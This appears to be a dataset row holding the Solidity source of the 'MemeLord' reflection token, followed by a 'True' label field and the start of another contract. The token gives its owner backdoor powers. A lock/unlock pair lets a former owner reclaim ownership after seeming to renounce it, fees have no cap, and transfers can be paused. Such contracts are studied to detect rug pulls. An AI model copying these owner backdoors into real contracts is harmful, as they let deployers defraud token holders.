* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract MemeLord is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _whiteList;
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name ="MemeLord";
string private _symbol = "$MLORD";
uint8 private _decimals = 9;
//Buy Fees
uint256 public _buyTaxFee = 1;
uint256 public _buyLiquidityFee = 2;
uint256 public _buyMarketingFee = 7;
uint256 public _buyBurnFee = 0;
//Sell Fees
uint256 public _sellTaxFee = 1;
uint256 public _sellMarketingFee = 7;
uint256 public _sellLiquidityFee = 2;
uint256 public _sellBurnFee = 0;
// Fees (Current)
uint256 private _taxFee;
uint256 private _marketingFee;
uint256 private _liquidityFee;
uint256 private _burnFee;
address payable public marketingWallet = payable(0x87FdB4e7e9cB7f72ce2974988e3706896128dAe2);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public numTokensSellToAddToLiquidity = 1000000000 * 10**9; //0.1%
uint256 public _maxTxAmount = 14000000000 * 10**9;
uint256 public maxBuyTransactionAmount = 14000000000 * 10**9;
uint256 public maxWalletToken = 25000000000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_whiteList[owner()] = true;
_whiteList[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0 && _marketingFee==0 && _burnFee==0) return;
_taxFee = 0;
_liquidityFee = 0;
_marketingFee = 0;
_burnFee = 0;
}
function isWhiteListed(address account) public view returns(bool) {
return _whiteList[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) whenNotPaused() private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
to != uniswapV2Pair
) {
uint256 contractBalanceRecepient = balanceOf(to);
require(
contractBalanceRecepient + amount <= maxWalletToken,
"Exceeds maximum wallet token amount."
);
}
if(from == uniswapV2Pair && !isWhiteListed(to)){
require(amount <= maxBuyTransactionAmount, "Buy transfer amount exceeds the maxBuyTransactionAmount.");
}
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
// Indicates if fee should be deducted from transfer
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if(isWhiteListed(from) || isWhiteListed(to)){
takeFee = false;
}
// Set buy fees
if(from == uniswapV2Pair || from.isContract()) {
_taxFee = _buyTaxFee;
_marketingFee = _buyMarketingFee;
_liquidityFee = _buyLiquidityFee;
_burnFee = _buyBurnFee;
}
// Set sell fees
if(to == uniswapV2Pair || to.isContract()) {
_taxFee = _sellTaxFee;
_marketingFee = _sellMarketingFee;
_liquidityFee = _sellLiquidityFee;
_burnFee = _sellBurnFee;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 combineFees = _liquidityFee.add(_marketingFee); // marketing + liquidity fees
uint256 tokensForLiquidity = contractTokenBalance.mul(_liquidityFee).div(combineFees);
uint256 tokensForMarketing = contractTokenBalance.sub(tokensForLiquidity);
// split the Liquidity tokens balance into halves
uint256 half = tokensForLiquidity.div(2);
uint256 otherHalf = tokensForLiquidity.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
uint256 contractBalance = address(this).balance;
swapTokensForEth(tokensForMarketing);
uint256 transferredBalance = address(this).balance.sub(contractBalance);
//Send to Marketing address
transferToAddressETH(marketingWallet, transferredBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount) private
{
if(_whiteList[sender] || _whiteList[recipient])
{
removeAllFee();
}
else
{
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private
{
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
(tTransferAmount, rTransferAmount) = takeBurn(sender, tTransferAmount, rTransferAmount, tAmount);
(tTransferAmount, rTransferAmount) = takeMarketing(sender, tTransferAmount, rTransferAmount, tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function takeBurn(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private
returns (uint256, uint256)
{
if(_burnFee==0) { return(tTransferAmount, rTransferAmount); }
uint256 tBurn = tAmount.div(100).mul(_burnFee);
uint256 rBurn = tBurn.mul(_getRate());
rTransferAmount = rTransferAmount.sub(rBurn);
tTransferAmount = tTransferAmount.sub(tBurn);
_rOwned[deadAddress] = _rOwned[deadAddress].add(rBurn);
emit Transfer(sender, deadAddress, tBurn);
return(tTransferAmount, rTransferAmount);
}
function takeMarketing(address sender, uint256 tTransferAmount, uint256 rTransferAmount, uint256 tAmount) private
returns (uint256, uint256)
{
if(_marketingFee==0) { return(tTransferAmount, rTransferAmount); }
uint256 tMarketing = tAmount.div(100).mul(_marketingFee);
uint256 rMarketing = tMarketing.mul(_getRate());
rTransferAmount = rTransferAmount.sub(rMarketing);
tTransferAmount = tTransferAmount.sub(tMarketing);
_rOwned[address(this)] = _rOwned[address(this)].add(rMarketing);
emit Transfer(sender, address(this), tMarketing);
return(tTransferAmount, rTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_whiteList[account] = true;
}
function includeInFee(address account) public onlyOwner {
_whiteList[account] = false;
}
function setMarketingWallet(address payable newWallet) external onlyOwner() {
marketingWallet = newWallet;
}
function setBuyFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee, uint256 burnFee) external onlyOwner() {
_buyTaxFee = taxFee;
_buyMarketingFee = MarketingFee;
_buyLiquidityFee = liquidityFee;
_buyBurnFee = burnFee;
}
function setSellFeePercent(uint256 taxFee, uint256 MarketingFee, uint256 liquidityFee, uint256 burnFee) external onlyOwner() {
_sellTaxFee = taxFee;
_sellMarketingFee = MarketingFee;
_sellLiquidityFee = liquidityFee;
_sellBurnFee = burnFee;
}
function setNumTokensSellToAddToLiquidity(uint256 newAmt) external onlyOwner() {
numTokensSellToAddToLiquidity = newAmt*10**_decimals;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
_maxTxAmount = maxTxAmount * 10**_decimals;
}
function setMaxBuytx(uint256 _newAmount) public onlyOwner {
maxBuyTransactionAmount = _newAmount * 10**_decimals;
}
function setMaxWalletToken(uint256 _maxToken) external onlyOwner {
maxWalletToken = _maxToken * 10**_decimals;
}
//New router address?
//No problem, just change it here!
function setRouterAddress(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newPancakeRouter = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_newPancakeRouter.factory()).createPair(address(this), _newPancakeRouter.WETH());
uniswapV2Router = _newPancakeRouter;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-26
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
